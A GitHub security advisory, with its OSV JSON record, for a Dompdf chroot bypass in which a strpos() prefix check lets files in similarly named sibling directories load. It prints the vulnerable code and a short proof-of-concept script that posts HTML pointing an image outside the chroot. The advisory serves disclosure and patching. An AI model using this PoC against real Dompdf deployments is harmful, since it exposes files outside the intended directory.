GHSA-WVH6-F5JH-8GW4
Vulnerability from github – Published: 2026-07-22 21:06 – Updated: 2026-07-22 21:06Summary
The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.
This allows attacker-controlled document paths/resources to bypass intended local file restrictions.
Details
The validateLocalUri() method is used to check if a local file is within an allowed chroot directory. After normalization with realpath(), this check is performed with a strpos() comparison:
public function validateLocalUri(string $uri)
{
...
$realfile = realpath(str_replace("file://", "", $uri));
...
foreach ($dirs as $chrootPath) {
$chrootPath = realpath($chrootPath);
if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {
$chrootValid = true;
Due to the normalization, the $chrootPath string does not have a terminating directory separator (/) appended. Because of this, the strpos() check only validates that $chrootPath is a prefix of $realfile. This allows access to folders with similar names that fall outside of the defined chroot restrictions.
For example, a chroot setting of /var/www/ would be normalized to /var/www, removing the trailing /. During strpos(), a $chrootPath of /var/www will also match a $realfile starting with /var/www2, /var/www-admin, or /var/www_backup, despite these being different directories.
PoC
With a directory structure similar to:
/home/dompdf/
|--> web/
|--> pdf.php
|--> cat0.jpg
|--> web-admin/
|--> cat1.jpg
And web-accessible Dompdf functionality similar to the following (poc.html):
<?php
require 'vendor/autoload.php';
use Dompdf\Dompdf;
use Dompdf\Options;
$options = new Options();
$options->setChroot(['/home/dompdf/web/']);
$dompdf = new Dompdf($options);
$dompdf->loadHtml($_POST['html']);
$dompdf->render();
$dompdf->stream();
?>
A malicious actor can exploit the vulnerability with the following script:
$html = <<<HTML
<!DOCTYPE html>
<html>
<body>
<p>within chroot</p>
<img src="/home/dompdf/web/cat0.jpg">
<p>outside of chroot</p>
<img src="/home/dompdf/web-admin/cat1.jpg">
</body>
</html>
HTML;
$url = 'http://example.com/poc.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];
// use key 'http' even if you send the request to https://...
$options = [
'http' => [
'header' => $headers,
'method' => 'POST',
'content' => http_build_query($data),
'ignore_errors' => true,
],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);
When the PDF is generated, both jpg files are loaded successfully despite the cat1.jpg file being outside of the allowed chroot.
Impact
An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "dompdf/dompdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55554"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:06:48Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\nThe chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.\n\nThis allows attacker-controlled document paths/resources to bypass intended local file restrictions.\n\n### Details\nThe `validateLocalUri()` method is used to check if a local file is within an allowed chroot directory. After normalization with `realpath()`, this check is performed with a `strpos()` comparison:\n\n\n```\n public function validateLocalUri(string $uri)\n {\n ...\n $realfile = realpath(str_replace(\"file://\", \"\", $uri));\n ...\n foreach ($dirs as $chrootPath) {\n $chrootPath = realpath($chrootPath);\n if ($chrootPath !== false \u0026\u0026 strpos($realfile, $chrootPath) === 0) {\n $chrootValid = true;\n```\n\nDue to the normalization, the `$chrootPath` string does not have a terminating directory separator (`/`) appended. Because of this, the `strpos()` check only validates that `$chrootPath` is a _prefix_ of `$realfile`. This allows access to folders with similar names that fall outside of the defined chroot restrictions.\n\nFor example, a chroot setting of `/var/www/` would be normalized to `/var/www`, removing the trailing `/`. During `strpos()`, a `$chrootPath` of `/var/www` will also match a `$realfile` starting with `/var/www2`, `/var/www-admin`, or `/var/www_backup`, despite these being different directories.\n\n### PoC\n\nWith a directory structure similar to:\n\n```\n/home/dompdf/\n |--\u003e web/\n |--\u003e pdf.php\n |--\u003e cat0.jpg\n |--\u003e web-admin/\n |--\u003e cat1.jpg\n```\n\nAnd web-accessible Dompdf functionality similar to the following (poc.html):\n\n```\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\nuse Dompdf\\Dompdf;\nuse Dompdf\\Options;\n\n$options = new Options();\n$options-\u003esetChroot([\u0027/home/dompdf/web/\u0027]);\n$dompdf = new Dompdf($options);\n\n$dompdf-\u003eloadHtml($_POST[\u0027html\u0027]);\n$dompdf-\u003erender();\n$dompdf-\u003estream();\n?\u003e\n```\n\nA malicious actor can exploit the vulnerability with the following script:\n\n```\n$html = \u003c\u003c\u003cHTML\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cp\u003ewithin chroot\u003c/p\u003e\n \u003cimg src=\"/home/dompdf/web/cat0.jpg\"\u003e\n \u003cp\u003eoutside of chroot\u003c/p\u003e\n \u003cimg src=\"/home/dompdf/web-admin/cat1.jpg\"\u003e\n \u003c/body\u003e\n\u003c/html\u003e\nHTML;\n\n$url = \u0027http://example.com/poc.php\u0027;\n$data = [\u0027html\u0027 =\u003e $html];\n$headers = [\"Content-type: application/x-www-form-urlencoded\"];\n\n// use key \u0027http\u0027 even if you send the request to https://...\n$options = [\n \u0027http\u0027 =\u003e [\n \u0027header\u0027 =\u003e $headers,\n \u0027method\u0027 =\u003e \u0027POST\u0027,\n \u0027content\u0027 =\u003e http_build_query($data),\n \u0027ignore_errors\u0027 =\u003e true,\n ],\n];\n$context = stream_context_create($options);\n$response = file_get_contents($url, false, $context);\n```\n\nWhen the PDF is generated, both `jpg` files are loaded successfully despite the `cat1.jpg` file being outside of the allowed chroot.\n\n### Impact\nAn attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.",
"id": "GHSA-wvh6-f5jh-8gw4",
"modified": "2026-07-22T21:06:48Z",
"published": "2026-07-22T21:06:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-wvh6-f5jh-8gw4"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/commit/1b3b61ec4f6962678e56ee8a42920b4f835ab006"
},
{
"type": "PACKAGE",
"url": "https://github.com/dompdf/dompdf"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dompdf: Chroot Validation Bypass"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.